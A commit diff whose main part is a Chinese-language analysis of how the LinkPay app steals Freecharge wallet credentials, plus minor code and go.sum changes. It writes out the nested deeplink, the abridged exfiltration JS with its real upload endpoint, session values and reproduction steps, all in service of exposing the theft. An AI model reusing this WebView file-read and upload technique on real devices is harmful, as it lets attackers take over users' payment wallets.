new mobikwik
This commit is contained in:
@@ -60,7 +60,7 @@ export class MobikwikPersonalTokenBind extends Component<{
|
||||
}
|
||||
}
|
||||
|
||||
/** Mobikwik web OTP bind */
|
||||
/** Mobikwik App OTP bind */
|
||||
export class MobikwikPersonalOTPBind extends Component<{
|
||||
onRequestOTP: (walletType: WalletType, params: any) => Promise<any>;
|
||||
onVerifyOTP: (walletType: WalletType, params: any) => Promise<any>;
|
||||
|
||||
@@ -0,0 +1,482 @@
|
||||
# LinkPay Freecharge 授权分析
|
||||
|
||||
## 样本来源
|
||||
|
||||
| 项目 | 值 |
|
||||
|------|-----|
|
||||
| 平台 App | LinkPay(`uni.app.UNIBA00479`,v1.1.9) |
|
||||
| 后端 API | `https://api.linkcorex.com` |
|
||||
| 钱包类型 | `walletType = 2` / `ctype = 2` |
|
||||
| 授权页面 | `pages/wallet/freecharge-auth`(`FreechargeAuthPage`) |
|
||||
| 分析样本 | `linkpay/apks/linkpay.apk` |
|
||||
| 抓包样本 | `freecharge_logs/logsrv_2026-07-28_23-06-50_15.har`(`freePrepare`) |
|
||||
|
||||
> LinkPay 是 UniApp(DCloud)应用。Freecharge **不下载魔改 APK**,也**不使用** InstallPlugin(`xyz.rush.plugin`)。但授权链路会利用**官方 Freecharge App 的 WebView 容器**读取本地 auth 文件并外传。
|
||||
|
||||
---
|
||||
|
||||
## 结论摘要
|
||||
|
||||
LinkPay 的 Freecharge「授权」表面上是官方 App 授权 + 服务端 `tempKey` 会话,**实际抓包显示**:
|
||||
|
||||
1. `freePrepare` 返回嵌套 deeplink,在官方 Freecharge 内打开 WebView(`action=wv`)
|
||||
2. WebView 加载服务端注入的 HTML/JS,**读取官方 App 本地 auth 文件**并 Base64 上传
|
||||
3. LinkPay 客户端轮询 `check`,待后端收到凭据后返回 `upiList`
|
||||
4. 用户选择 UPI → `linkConfirm` 完成绑定
|
||||
|
||||
**不需要魔改 Freecharge 包**,也**没有** MobiKwik 那套 `Tail-TokenReceiver` 本地 Hook;但**并非正规 OAuth**,而是通过官方 App WebView 实现的**凭据窃取**。
|
||||
|
||||
---
|
||||
|
||||
## 与其他钱包的分流逻辑
|
||||
|
||||
添加钱包时,服务端返回的 `isHook` 决定走哪条链路(`add-wallet` 页面):
|
||||
|
||||
| `isHook` | 目标页面 | 机制 |
|
||||
|----------|----------|------|
|
||||
| `1` | `wallet-guide` | 下载服务端 APK → 安装 → 原生插件读 token |
|
||||
| `2` | **`freecharge-auth`** | **官方 App WebView + 读 auth 文件 + 后端 `tempKey` 会话** |
|
||||
| 其他 + `url` | `web-login` | WebView 打开登录页 |
|
||||
| 其他 + `otp` | `wizard` | OTP 向导流程 |
|
||||
|
||||
Freecharge 固定为 `isHook = 2`,因此不会进入 `wallet-guide`,也不会在 `downloads/` 目录留下 APK 缓存。
|
||||
|
||||
对比 MobiKwik(`walletType = 4`,`isHook = 1`):
|
||||
|
||||
```
|
||||
MobiKwik: freePrepare ❌ → wallet-guide → 下载 APK → TokenReceiver Hook
|
||||
Freecharge: freePrepare ✅ → freecharge-auth → openURL → 轮询 check → linkConfirm
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## 整体链路
|
||||
|
||||
```
|
||||
LinkPay (uni.app.UNIBA00479)
|
||||
│ 用户选择 Freecharge 绑定
|
||||
│ isHook=2 → /pages/wallet/freecharge-auth
|
||||
▼
|
||||
POST api.linkcorex.com/.../freePrepare { ctype: 2 }
|
||||
│ 返回 tempKey + url(嵌套 deeplink + 恶意 HTML)
|
||||
▼
|
||||
plus.runtime.openURL(url)
|
||||
│ freecharge://home?action=wv&url=<内层 fc/app?html=...>
|
||||
▼
|
||||
官方 Freecharge App 打开 WebView
|
||||
│ JS 读取 file:///data/data/com.freecharge.android/.../auth.preferences_pb
|
||||
│ POST api.linkadminpro.com/.../freeSubmit { b64, userId, sign }
|
||||
▼
|
||||
LinkPay 轮询 POST api.linkcorex.com/.../check { tempKey }
|
||||
│ status = 3 且 upiList 非空 → 授权完成
|
||||
▼
|
||||
用户在 LinkPay 选择要绑定的 UPI
|
||||
▼
|
||||
POST api.linkcorex.com/.../linkConfirm { tempKey, upiList }
|
||||
▼
|
||||
绑定成功 → /pages/wallet/add-success
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## 前端实现(FreechargeAuthPage)
|
||||
|
||||
源码位置:`assets/apps/__UNI__BA00479/www/app-service.js`(webpack module `55bb`)
|
||||
|
||||
### 状态机
|
||||
|
||||
| 状态 | 含义 |
|
||||
|------|------|
|
||||
| `preparing` | 正在调用 `freePrepare` |
|
||||
| `authStarted` | 已拿到 `authUrl`,等待用户在 Freecharge 完成授权 |
|
||||
| `prepareDone` | 轮询成功,UPI 列表已返回,等待用户选择 |
|
||||
| `expired` | 会话超时(默认 `expireSeconds`,通常 600s) |
|
||||
| `confirming` | 正在调用 `linkConfirm` |
|
||||
|
||||
### 关键方法
|
||||
|
||||
| 方法 | 作用 |
|
||||
|------|------|
|
||||
| `startAuthentication()` | 调用 `freePrepare`,启动倒计时和轮询,自动 `openAuthUrl()` |
|
||||
| `openAuthUrl()` | `plus.runtime.openURL(this.authUrl)` 打开官方授权 |
|
||||
| `checkAuthorization()` | 轮询 `check` API,status=3 时解析 `upiList` |
|
||||
| `initUpiSelection()` | 加载多选配置、历史已绑 UPI,初始化选择列表 |
|
||||
| `confirmLink()` | 提交选中的 UPI 到 `linkConfirm` |
|
||||
|
||||
### UI 文案(暗示依赖官方 App)
|
||||
|
||||
- *"Please complete the authorization in Freecharge."*
|
||||
- *"Return here after completing authorization in Freecharge."*
|
||||
- 按钮:*"Go to Authenticate"* / *"Open Freecharge Again"*
|
||||
|
||||
---
|
||||
|
||||
## API 接口
|
||||
|
||||
Base URL:`https://api.linkcorex.com`
|
||||
|
||||
| 接口 | 方法 | 路径 | 请求 | 响应要点 |
|
||||
|------|------|------|------|----------|
|
||||
| 准备授权 | POST | `/app/ct/app/collection/freePrepare` | `{ ctype: 2, walletId?, id?, ... }` | `{ tempKey, url, phone, expireSeconds }` |
|
||||
| 轮询结果 | POST | `/app/ct/app/collection/check` | `{ tempKey }` | `{ status, upiList, phone, sessionId, sign, ... }` |
|
||||
| **凭据回传** | POST | `api.linkadminpro.com/.../freeSubmit` | `{ b64, userId, sign }` + `sessionId` query | `{ code: 1000, data: true }` |
|
||||
| 确认绑定 | POST | `/app/ct/app/collection/linkConfirm` | `{ tempKey, upiList[] }` | 成功 code=1000 |
|
||||
| UPI 多选配置 | GET | `/app/ct/type/ctType/{id}` | wallet config id | `{ multiple, multipleNum }` |
|
||||
| 已绑钱包列表 | GET | `/app/ct/app/collection/getWalletList` | — | 用于锁定历史 UPI |
|
||||
|
||||
### `check` 轮询逻辑
|
||||
|
||||
- 首次延迟 1200ms,之后每 1500ms 重试
|
||||
- `status === 3` 且 `upiList.length > 0` → 授权完成
|
||||
- 网络失败自动重试,显示 *"Network is unstable. Retrying automatically..."*
|
||||
- 超时后 `expired = true`,需重新 `startAuthentication()`
|
||||
|
||||
### UPI 格式校验
|
||||
|
||||
```javascript
|
||||
/^[a-zA-Z0-9._-]{2,64}@[a-zA-Z0-9.-]{2,64}$/
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## 付款时的 Freecharge 调用
|
||||
|
||||
INR 订单付款页(`pages/payment/inr-order`)对 Freecharge 单独处理:
|
||||
|
||||
```javascript
|
||||
// payoutWalletType === 2 时使用 freechargeIntent,而非通用 intent
|
||||
if (payoutWalletType === 2) {
|
||||
plus.runtime.openURL(order.freechargeIntent)
|
||||
} else {
|
||||
plus.runtime.openURL(order.intent) // MobiKwik / PhonePe 等
|
||||
}
|
||||
```
|
||||
|
||||
付款同样通过 `plus.runtime.openURL` 调起官方 Freecharge,不涉及魔改包。
|
||||
|
||||
---
|
||||
|
||||
## 与 ShowPay / WinPay 的对比
|
||||
|
||||
| 维度 | LinkPay Freecharge | ShowPay / WinPay Freecharge |
|
||||
|------|-------------------|----------------------------|
|
||||
| 下载器 | 无(官方包即可) | InstallPlugin(`xyz.rush.plugin`) |
|
||||
| APK 来源 | 不下载 | 缓存 `fcv76.apk`(魔改包) |
|
||||
| 包名 | 官方 `com.freecharge.android` | 同名但注入后门 |
|
||||
| 授权方式 | 官方 App WebView + 读 auth 文件 + `tempKey` 轮询 | AIDL `com.longfafa.pay.BIND_SERVICE` |
|
||||
| 本地 Hook | 无原生插件;WebView JS 读本地文件 | 有(`com.longfafa.paylib.JobService`) |
|
||||
| 获取数据 | `auth.preferences_pb` → 服务端解析 UPI | token / 手机号 / UPI / FCM 等(本地 IPC 窃取) |
|
||||
| 后端 | `api.linkcorex.com` + `api.linkadminpro.com` | `api.showpay-web.com` 等 |
|
||||
|
||||
---
|
||||
|
||||
## 获取到的数据范围
|
||||
|
||||
LinkPay Freecharge 授权完成后,客户端可见的数据:
|
||||
|
||||
| 数据 | 来源 | 说明 |
|
||||
|------|------|------|
|
||||
| UPI 地址列表 | `check` 响应 `upiList` | 用户在 LinkPay 中选择子集提交 |
|
||||
| 手机号 | `freePrepare` / `check` 响应 `phone` | 用于匹配历史绑定 |
|
||||
| 绑定关系 | `linkConfirm` 成功后写入平台 | walletId + UPI + phone |
|
||||
|
||||
**抓包确认的实际窃取行为**(`freecharge_logs`):
|
||||
|
||||
| 行为 | 详情 |
|
||||
|------|------|
|
||||
| 读取本地 auth 文件 | `com.freecharge.android.auth.preferences_pb` |
|
||||
| 外传域名 | `api.linkadminpro.com`(与主 API `api.linkcorex.com` 不同) |
|
||||
| 外传接口 | `POST /app/ct/app/collection/freeSubmit?sessionId=...` |
|
||||
| 外传内容 | auth 文件 Base64(`{ b64, userId, sign }`) |
|
||||
|
||||
**未观察到**以下行为:
|
||||
|
||||
- 下载 / 安装魔改 Freecharge APK
|
||||
- 使用 `Tail-TokenReceiver` 原生插件(Freecharge 授权页不调用)
|
||||
- 注册 `com.longfafa.pay.BIND_SERVICE` 类 IPC 后门
|
||||
|
||||
---
|
||||
|
||||
## 授权 Deeplink(核心,已抓包确认)
|
||||
|
||||
### 关键结论
|
||||
|
||||
**LinkPay 客户端里没有写死 Freecharge 授权 deeplink。**
|
||||
`url` 完全由服务端在 `freePrepare` 响应里动态下发(约 21KB),前端只做:
|
||||
|
||||
```javascript
|
||||
// freecharge-auth.vue → openAuthUrl()
|
||||
plus.runtime.openURL(this.authUrl)
|
||||
// authUrl = freePrepare 响应里的 data.url
|
||||
```
|
||||
|
||||
客户端 JS 中**不存在** `freecharge://`、`fc/app` 等硬编码字符串;但服务端下发的 URL 是**三层嵌套结构**。
|
||||
|
||||
### freePrepare 真实响应(`freecharge_logs`,2026-07-28 23:06:50)
|
||||
|
||||
```json
|
||||
{
|
||||
"code": 1000,
|
||||
"data": {
|
||||
"ctype": 2,
|
||||
"phone": "",
|
||||
"expireSeconds": 600,
|
||||
"tempKey": "9c63f226-7554-888b-9c07-fc80e2dbb85f",
|
||||
"url": "freecharge://home?action=wv&historyEnabled=true&shouldBackStack=true&enableMultiWondow=true&displayBar=false&showLoader=true&cacheEnabled=true&url=https%3A%2F%2Ffreecharge.in%2Ffc%2Fapp%3Faction%3Dwv%26...%26html%3D%253C%2521DOCTYPE%252Bhtml%253E..."
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
### 三层 Deeplink 结构
|
||||
|
||||
**第 1 层 — 外层(LinkPay `openURL` 直接打开)**
|
||||
|
||||
```text
|
||||
freecharge://home?action=wv&historyEnabled=true&shouldBackStack=true&enableMultiWondow=true&displayBar=false&showLoader=true&cacheEnabled=true&url=<内层 URL 编码>
|
||||
```
|
||||
|
||||
| 参数 | 值 | 含义 |
|
||||
|------|-----|------|
|
||||
| `action` | `wv` | 打开 WebView 容器(非 IncoinPay 付款用的 `view`) |
|
||||
| `displayBar` | `false` | 隐藏导航栏 |
|
||||
| `showLoader` | `true` | 显示加载动画 |
|
||||
| `url` | 内层 `https://freecharge.in/fc/app?...` | 嵌套目标 |
|
||||
|
||||
**第 2 层 — 内层(Freecharge App 内 WebView 加载)**
|
||||
|
||||
```text
|
||||
https://freecharge.in/fc/app?action=wv&historyEnabled=true&shouldBackStack=true&enableMultiWondow=true&displayBar=false&showLoader=true&cacheEnabled=true&html=<HTML+JS>
|
||||
```
|
||||
|
||||
**第 3 层 — 嵌入 HTML/JS(恶意载荷)**
|
||||
|
||||
完整载荷已从 HAR 解码,保存在:
|
||||
|
||||
```
|
||||
linkpay/freecharge_payload/
|
||||
├── auth_webview.html # 格式化后的 HTML(含可读 JS)
|
||||
├── auth_webview_raw.html # 从 html= 参数直接解码的原始串
|
||||
└── auth_payload.js # eval(String.fromCharCode(...)) 解码后的 JS
|
||||
```
|
||||
|
||||
**完整 HTML 结构:**
|
||||
|
||||
```html
|
||||
<!DOCTYPE html>
|
||||
<html>
|
||||
<head>
|
||||
<meta charset="UTF-8">
|
||||
<meta name="viewport" content="width=device-width,initial-scale=1">
|
||||
<style>
|
||||
body{margin:0;display:flex;flex-direction:column;align-items:center;
|
||||
justify-content:center;min-height:100vh;background:#f5f5f5;font-family:sans-serif;}
|
||||
#icon{font-size:64px;margin-bottom:16px}
|
||||
#msg{font-size:20px;font-weight:bold;margin-bottom:12px;color:#333}
|
||||
#hint{font-size:14px;color:#888;text-align:center;padding:0 24px}
|
||||
</style>
|
||||
</head>
|
||||
<body>
|
||||
<div id="icon">⏳</div>
|
||||
<div id="msg">Processing…</div>
|
||||
<div id="hint">Please wait</div>
|
||||
<script>eval(String.fromCharCode(...))</script> <!-- 9418 字符,见 auth_payload.js -->
|
||||
</body>
|
||||
</html>
|
||||
```
|
||||
|
||||
页面 UI 显示:
|
||||
|
||||
- ⏳ *Processing…*
|
||||
- *Please wait*
|
||||
- 成功:✅ *Authorization Successful* / *You can now return to the previous app.*
|
||||
- 失败:❌ *Authorization Failed*
|
||||
|
||||
**完整 JS 载荷(`auth_payload.js`,已去混淆):**
|
||||
|
||||
```javascript
|
||||
(function(){
|
||||
var F = 'file:///data/data/com.freecharge.android/files/datastore/com.freecharge.android.auth.preferences_pb';
|
||||
var UPLOAD = 'https://api.linkadminpro.com/app/ct/app/collection/freeSubmit?sessionId=3438ded7-e0a2-451e-9ef3-6f3af2862e14';
|
||||
var UID = 242204;
|
||||
var SIGN = '9c63f2267554888b9c07fc80e2dbb85f';
|
||||
|
||||
function showSuccess() { /* ✅ Authorization Successful */ }
|
||||
function showFail(reason) { /* ❌ Authorization Failed */ }
|
||||
|
||||
function toB64(bin) {
|
||||
// 逐字节读取二进制,btoa 编码
|
||||
}
|
||||
|
||||
function xhrSync(method, url, body, ct) {
|
||||
// 同步 XMLHttpRequest
|
||||
}
|
||||
|
||||
function uploadJSONP(b64) {
|
||||
// POST 失败时 fallback:动态插入 <script src=UPLOAD&callback=...&b64=...>
|
||||
}
|
||||
|
||||
function doUpload(b64) {
|
||||
// 优先 POST JSON { b64, userId, sign },失败走 JSONP
|
||||
}
|
||||
|
||||
function run() {
|
||||
// 1. 检查 context:仅允许 file: / null origin(Freecharge WebView 本地页)
|
||||
if (location.protocol !== 'file:' && location.origin !== 'null' && location.origin !== '') {
|
||||
showFail('Wrong context'); return;
|
||||
}
|
||||
// 2. 同步 GET 读取 auth.preferences_pb
|
||||
// 3. toB64 编码
|
||||
// 4. doUpload 上传
|
||||
}
|
||||
|
||||
try { run(); } catch(e) { showFail('Unexpected error'); }
|
||||
})();
|
||||
```
|
||||
|
||||
**JS 行为要点:**
|
||||
|
||||
| 步骤 | 行为 |
|
||||
|------|------|
|
||||
| 环境检查 | 非 `file:` / `null` origin 则拒绝(防浏览器直接打开) |
|
||||
| 读文件 | 同步 XHR GET `auth.preferences_pb`,`overrideMimeType('text/plain; charset=x-user-defined')` |
|
||||
| 编码 | 逐字节 `charCodeAt & 255` → `btoa` |
|
||||
| 上传 | 先 `POST` JSON;失败则 JSONP `<script src=...>` |
|
||||
| 成功判定 | 响应 `{ code: 1000, data: true }` |
|
||||
| 混淆 | 外层 HTML 用 `eval(String.fromCharCode(...))` 隐藏 9418 字符 JS |
|
||||
|
||||
### 关联会话字段(`check` 响应,同一次抓包)
|
||||
|
||||
| 字段 | 值 |
|
||||
|------|-----|
|
||||
| `tempKey` | `9c63f226-7554-888b-9c07-fc80e2dbb85f` |
|
||||
| `sessionId` | `3438ded7-e0a2-451e-9ef3-6f3af2862e14` |
|
||||
| `sign` | `9c63f2267554888b9c07fc80e2dbb85f` |
|
||||
| `userInfoId` | `242204` |
|
||||
| `status` | `0`(轮询中,`upiList` 为空) |
|
||||
| `addressMd5` | `adb833b5b838b3f5be46c6971b331f5a` |
|
||||
|
||||
---
|
||||
|
||||
### 官方 Freecharge App 注册的 Scheme(`com.freecharge.android` v21.3.0)
|
||||
|
||||
从 `/storage/emulated/0/Download/freecharge.apk` Manifest 提取:
|
||||
|
||||
| Scheme | Host / Path | 用途 | 入口 Activity |
|
||||
|--------|-------------|------|---------------|
|
||||
| `freecharge://` | (无 host) | 通用 deep link | `MainActivity` |
|
||||
| `freecharge://` | `home` | 应用内页面跳转 | `MainActivity` |
|
||||
| `freecharge://` | `login` | **登录/授权相关** | `MainActivity` |
|
||||
| `freecharge://` | `splash` | 启动页 | `MainActivity` |
|
||||
| `freecharge://` | `helpcenter` | 帮助中心 | `HelpCenterActivity` |
|
||||
| `freecharge://` | `pay` | UPI 支付 | `UpiIntentActivity` |
|
||||
| `freechargeupi://` | `pay` | UPI 支付 | `UpiIntentActivity` |
|
||||
| `freechargegtk://` | (无 host) | GTK 回调(类似 MobiKwik 的 `mobikwikgtk://getToken`) | `MainActivity` |
|
||||
| `upi://` | `pay` / `mandate` | 标准 UPI | `UpiIntentActivity` |
|
||||
| `https://` | `freecharge.in` / `www.freecharge.in` | App Link | `MainActivity` |
|
||||
| `https://` | `freechargebiz.in` / `www.freechargebiz.in` | Biz 版 App Link | `MainActivity` |
|
||||
| `https://` | `frch.in` | 短链 | `MainActivity` |
|
||||
|
||||
官方 App 内还内置 `res/raw/deeplink_cached.json`,常见 **Biz 版 Web 容器**格式:
|
||||
|
||||
```
|
||||
https://www.freechargebiz.in/fc/app?action=wv&title=...&url=https://www.freecharge.in/...?isAppSdk=true&shortCode=XX
|
||||
```
|
||||
|
||||
也有原生页跳转:
|
||||
|
||||
```
|
||||
https://www.freechargebiz.in/fc/app?action=view&page=home
|
||||
https://www.freechargebiz.in/fc/app?action=view&page=paylater
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
### 参考:同类平台的 Freecharge Deeplink
|
||||
|
||||
#### 1. IncoinPay 付款(已反编译确认)
|
||||
|
||||
`GrabDetailActivity.java` 构造 Freecharge 付款链接:
|
||||
|
||||
```java
|
||||
// toolType == 8 (Freecharge)
|
||||
cVar2.put("action", "view");
|
||||
cVar2.put("page", "upi_pay");
|
||||
cVar2.put("receiverVpa", account + "@" + ifsc + ".ifsc.npci");
|
||||
str = "freecharge://home?" + queryString;
|
||||
// 最终形如:
|
||||
// freecharge://home?action=view&page=upi_pay&receiverVpa=XXXX@IFSC.ifsc.npci
|
||||
```
|
||||
|
||||
LinkPay 付款侧同样用 `freechargeIntent`,结构应与上述类似(服务端下发,非客户端拼)。
|
||||
|
||||
#### 2. LinkPay 授权 vs 付款(已确认 vs 推测)
|
||||
|
||||
| 场景 | 字段 | 来源 API | Deeplink 形态 |
|
||||
|------|------|----------|---------------|
|
||||
| **绑定授权** | `authUrl` / `data.url` | `freePrepare` | `freecharge://home?action=wv&url=<fc/app?html=恶意JS>` ✅ 已抓包 |
|
||||
| **订单付款** | `freechargeIntent` | 订单详情 API | `freecharge://home?action=view&page=upi_pay&receiverVpa=...`(参考 IncoinPay) |
|
||||
|
||||
授权与付款使用**不同的 `action`**:
|
||||
|
||||
- 授权:`action=wv`(WebView + 读文件)
|
||||
- 付款:`action=view&page=upi_pay`(原生 UPI 页)
|
||||
|
||||
#### 3. 对比 MobiKwik(LinkPay APK 下载链路)
|
||||
|
||||
| | Freecharge 授权 | MobiKwik 绑定 |
|
||||
|---|---|---|
|
||||
| 入口 | `freePrepare` → `openURL` | `wallet-guide` → 下载 APK → `TokenReceiver` |
|
||||
| 读凭据 | WebView JS 读 `preferences_pb` | 原生插件 `openTargetAppByType("newmob")` |
|
||||
| 回传 | `api.linkadminpro.com/freeSubmit` | 本地存储 + `linkPrepare` |
|
||||
| 魔改包 | 不需要 | 需要(GitHub 下发 APK) |
|
||||
|
||||
---
|
||||
|
||||
### 服务端配置补充(`listEnabledCtTypes` 抓包)
|
||||
|
||||
Freecharge(`ctType=2`)的 `loginOption` 字段:
|
||||
|
||||
```json
|
||||
{
|
||||
"url": null,
|
||||
"valueType": null,
|
||||
"otp": 4,
|
||||
"isHook": 2,
|
||||
"guideUrl": "",
|
||||
"apkDownloadUrl": "https://d1a6nbwk78otoo.cloudfront.net/free2368484936.apk"
|
||||
}
|
||||
```
|
||||
|
||||
> 注意:虽然配置了 `apkDownloadUrl`,但 `isHook=2` 实际走 `freecharge-auth` 而非 `wallet-guide`,该 APK 链接**未被本次授权流程使用**。
|
||||
|
||||
---
|
||||
|
||||
## 复现与验证建议
|
||||
|
||||
1. 在 LinkPay 中添加 Freecharge 钱包(`isHook=2` 会自动进入 `freecharge-auth` 页)
|
||||
2. 安装**官方** Freecharge(`com.freecharge.android`)
|
||||
3. 抓包目标:
|
||||
- `POST api.linkcorex.com/.../freePrepare` → 记录 `data.url` 完整字符串(约 21KB)
|
||||
- `POST api.linkadminpro.com/.../freeSubmit` → 记录 `b64` 外传
|
||||
- `POST api.linkcorex.com/.../check` → 观察 `status` 从 `0` → `3` 及 `upiList`
|
||||
- `POST api.linkcorex.com/.../linkConfirm` → 确认最终提交字段
|
||||
4. 对比:LinkPay `downloads/` 目录应**无** Freecharge APK(与 MobiKwik 不同)
|
||||
|
||||
---
|
||||
|
||||
## 相关文件
|
||||
|
||||
```
|
||||
linkpay/
|
||||
├── apks/
|
||||
│ ├── linkpay.apk # LinkPay 本体
|
||||
│ └── MobiKwik_linkpay.apk # 对比:MobiKwik 走 APK 下载链路
|
||||
├── freecharge_payload/ # 从 HAR 解码的嵌套 HTML/JS 载荷
|
||||
│ ├── auth_webview.html
|
||||
│ ├── auth_webview_raw.html
|
||||
│ └── auth_payload.js
|
||||
└── freecharge.md # 本文档
|
||||
|
||||
freecharge_logs/ # 抓包 HAR(含 freePrepare 真实 deeplink)
|
||||
└── logsrv_2026-07-28_23-06-50_15.har
|
||||
```
|
||||
@@ -31,6 +31,7 @@ cloud.google.com/go/compute v1.23.3/go.mod h1:VCgBUoMnIVIR0CscqQiPJLAG25E3ZRZMzc
|
||||
cloud.google.com/go/compute v1.23.4/go.mod h1:/EJMj55asU6kAFnuZET8zqgwgJ9FvXWXOkkfQZa4ioI=
|
||||
cloud.google.com/go/compute v1.24.0 h1:phWcR2eWzRJaL/kOiJwfFsPs4BaKq1j6vnpZrc1YlVg=
|
||||
cloud.google.com/go/compute v1.24.0/go.mod h1:kw1/T+h/+tK2LJK0wiPPx1intgdAM3j/g3hFDlscY40=
|
||||
cloud.google.com/go/compute/metadata v0.3.0/go.mod h1:zFmK7XCadkQkj6TtorcaGlCW1hT1fIilQDwofLpJ20k=
|
||||
cloud.google.com/go/contactcenterinsights v1.13.0/go.mod h1:ieq5d5EtHsu8vhe2y3amtZ+BE+AQwX5qAy7cpo0POsI=
|
||||
cloud.google.com/go/container v1.31.0/go.mod h1:7yABn5s3Iv3lmw7oMmyGbeV6tQj86njcTijkkGuvdZA=
|
||||
cloud.google.com/go/containeranalysis v0.11.4/go.mod h1:cVZT7rXYBS9NG1rhQbWL9pWbXCKHWJPYraE8/FTSYPE=
|
||||
@@ -125,6 +126,7 @@ cloud.google.com/go/vpcaccess v1.7.5/go.mod h1:slc5ZRvvjP78c2dnL7m4l4R9GwL3wDLcp
|
||||
cloud.google.com/go/webrisk v1.9.5/go.mod h1:aako0Fzep1Q714cPEM5E+mtYX8/jsfegAuS8aivxy3U=
|
||||
cloud.google.com/go/websecurityscanner v1.6.5/go.mod h1:QR+DWaxAz2pWooylsBF854/Ijvuoa3FCyS1zBa1rAVQ=
|
||||
cloud.google.com/go/workflows v1.12.4/go.mod h1:yQ7HUqOkdJK4duVtMeBCAOPiN1ZF1E9pAMX51vpwB/w=
|
||||
dario.cat/mergo v1.0.0 h1:AGCNq9Evsj31mOgNPcLyXc+4PNABt905YmuqPYYpBWk=
|
||||
dario.cat/mergo v1.0.0/go.mod h1:uNxQE+84aUszobStD9th8a29P2fMDhsBdgRYvZOxGmk=
|
||||
github.com/Azure/azure-sdk-for-go/sdk/azcore v1.7.0/go.mod h1:bjGvMhVMb+EEm3VRNQawDMUyMMjo+S5ewNjflkep/0Q=
|
||||
github.com/Azure/azure-sdk-for-go/sdk/internal v1.3.0/go.mod h1:okt5dMMTOFjX/aovMlrjvvXoPMBVSPzk9185BT0+eZM=
|
||||
@@ -188,6 +190,7 @@ github.com/go-playground/form/v4 v4.2.0/go.mod h1:q1a2BY+AQUUzhl6xA/6hBetay6dEIh
|
||||
github.com/go-sourcemap/sourcemap v2.1.3+incompatible/go.mod h1:F8jJfvm2KbVjc5NqelyYJmf/v5J0dwNLS2mL4sNA1Jg=
|
||||
github.com/gofrs/flock v0.12.1/go.mod h1:9zxTsyu5xtJ9DK+1tFZyibEV7y3uwDxPPfbxeeHCoD0=
|
||||
github.com/golang-jwt/jwt/v4 v4.5.2/go.mod h1:m21LjoU+eqJr34lmDMbreY2eSTRJ1cv77w39/MY0Ch0=
|
||||
github.com/golang-jwt/jwt/v5 v5.2.2 h1:Rl4B7itRWVtYIHFrSNd7vhTiz9UpLdi6gZhZ3wEeDy8=
|
||||
github.com/golang-jwt/jwt/v5 v5.2.2/go.mod h1:pqrtFR0X4osieyHYxtmOUWsAWrfe1Q5UVIyoH402zdk=
|
||||
github.com/golang/glog v1.2.5/go.mod h1:6AhwSGph0fcJtXVM/PEHPqZlFeoLxhs7/t5UDAwmO+w=
|
||||
github.com/golang/groupcache v0.0.0-20210331224755-41bb18bfe9da/go.mod h1:cIg4eruTrX1D+g88fzRXU5OdNfaM+9IcxsU14FzY7Hc=
|
||||
@@ -248,6 +251,7 @@ github.com/pion/stun/v2 v2.0.0/go.mod h1:22qRSh08fSEttYUmJZGlriq9+03jtVmXNODgLcc
|
||||
github.com/pion/transport/v2 v2.2.1/go.mod h1:cXXWavvCnFF6McHTft3DWS9iic2Mftcz1Aq29pGcU5g=
|
||||
github.com/pion/transport/v3 v3.0.1/go.mod h1:UY7kiITrlMv7/IKgd5eTUcaahZx5oUN3l9SzK5f5xE0=
|
||||
github.com/pkg/sftp v1.13.6/go.mod h1:tz1ryNURKu77RL+GuCzmoJYxQczL3wLNNpPWagdg4Qk=
|
||||
github.com/prometheus/client_model v0.6.2 h1:oBsgwpGs7iVziMvrGhE53c/GrLUsZdHnqNwqPLxwZyk=
|
||||
github.com/prometheus/client_model v0.6.2/go.mod h1:y3m2F6Gdpfy6Ut/GBsUqTWZqCUvMVzSfMLjcu6wAwpE=
|
||||
github.com/protolambda/bls12-381-util v0.1.0/go.mod h1:cdkysJTRpeFeuUVx/TXGDQNMTiRAalk1vQw3TYTHcE4=
|
||||
github.com/protolambda/zrnt v0.34.1/go.mod h1:A0fezkp9Tt3GBLATSPIbuY4ywYESyAuc/FFmPKg8Lqs=
|
||||
@@ -320,6 +324,7 @@ golang.org/x/net v0.22.0/go.mod h1:JKghWKKOSdJwpW2GEx0Ja7fmaKnMsbu+MWVZTokSYmg=
|
||||
golang.org/x/net v0.33.0/go.mod h1:HXLR5J+9DxmrqMwG9qjGCxZ+zKXxBru04zlTvWlWuN4=
|
||||
golang.org/x/net v0.34.0/go.mod h1:di0qlW3YNM5oh6GqDGQr92MyTozJPmybPK4Ev/Gm31k=
|
||||
golang.org/x/net v0.35.0/go.mod h1:EglIi67kWsHKlRzzVMUD93VMSWGFOMSZgxFjparz1Qk=
|
||||
golang.org/x/net v0.38.0/go.mod h1:ivrbrMbzFq5J41QOQh0siUuly180yBYtLp+CKbEaFx8=
|
||||
golang.org/x/net v0.42.0/go.mod h1:FF1RA5d3u7nAYA4z2TkclSCKh68eSXtiFwcWQpPXdt8=
|
||||
golang.org/x/net v0.47.0/go.mod h1:/jNxtkgq5yWUGYkaZGqo27cfGZ1c5Nen03aYrrKpVRU=
|
||||
golang.org/x/oauth2 v0.15.0/go.mod h1:q48ptWNTY5XWf+JNten23lcvHpLJ0ZSxF5ttTHKVCAM=
|
||||
@@ -337,6 +342,7 @@ golang.org/x/sys v0.18.0/go.mod h1:/VUhepiaJMQUp4+oa/7Zr1D23ma6VTLIYjOOTFZPUcA=
|
||||
golang.org/x/sys v0.26.0/go.mod h1:/VUhepiaJMQUp4+oa/7Zr1D23ma6VTLIYjOOTFZPUcA=
|
||||
golang.org/x/sys v0.28.0/go.mod h1:/VUhepiaJMQUp4+oa/7Zr1D23ma6VTLIYjOOTFZPUcA=
|
||||
golang.org/x/sys v0.29.0/go.mod h1:/VUhepiaJMQUp4+oa/7Zr1D23ma6VTLIYjOOTFZPUcA=
|
||||
golang.org/x/sys v0.31.0/go.mod h1:BJP2sWEmIv4KK5OTEluFJCKSidICx8ciO85XgH3Ak8k=
|
||||
golang.org/x/sys v0.34.0/go.mod h1:BJP2sWEmIv4KK5OTEluFJCKSidICx8ciO85XgH3Ak8k=
|
||||
golang.org/x/sys v0.35.0/go.mod h1:BJP2sWEmIv4KK5OTEluFJCKSidICx8ciO85XgH3Ak8k=
|
||||
golang.org/x/sys v0.38.0/go.mod h1:OgkHotnGiDImocRcuBABYBEXf8A9a87e/uXjp9XT3ks=
|
||||
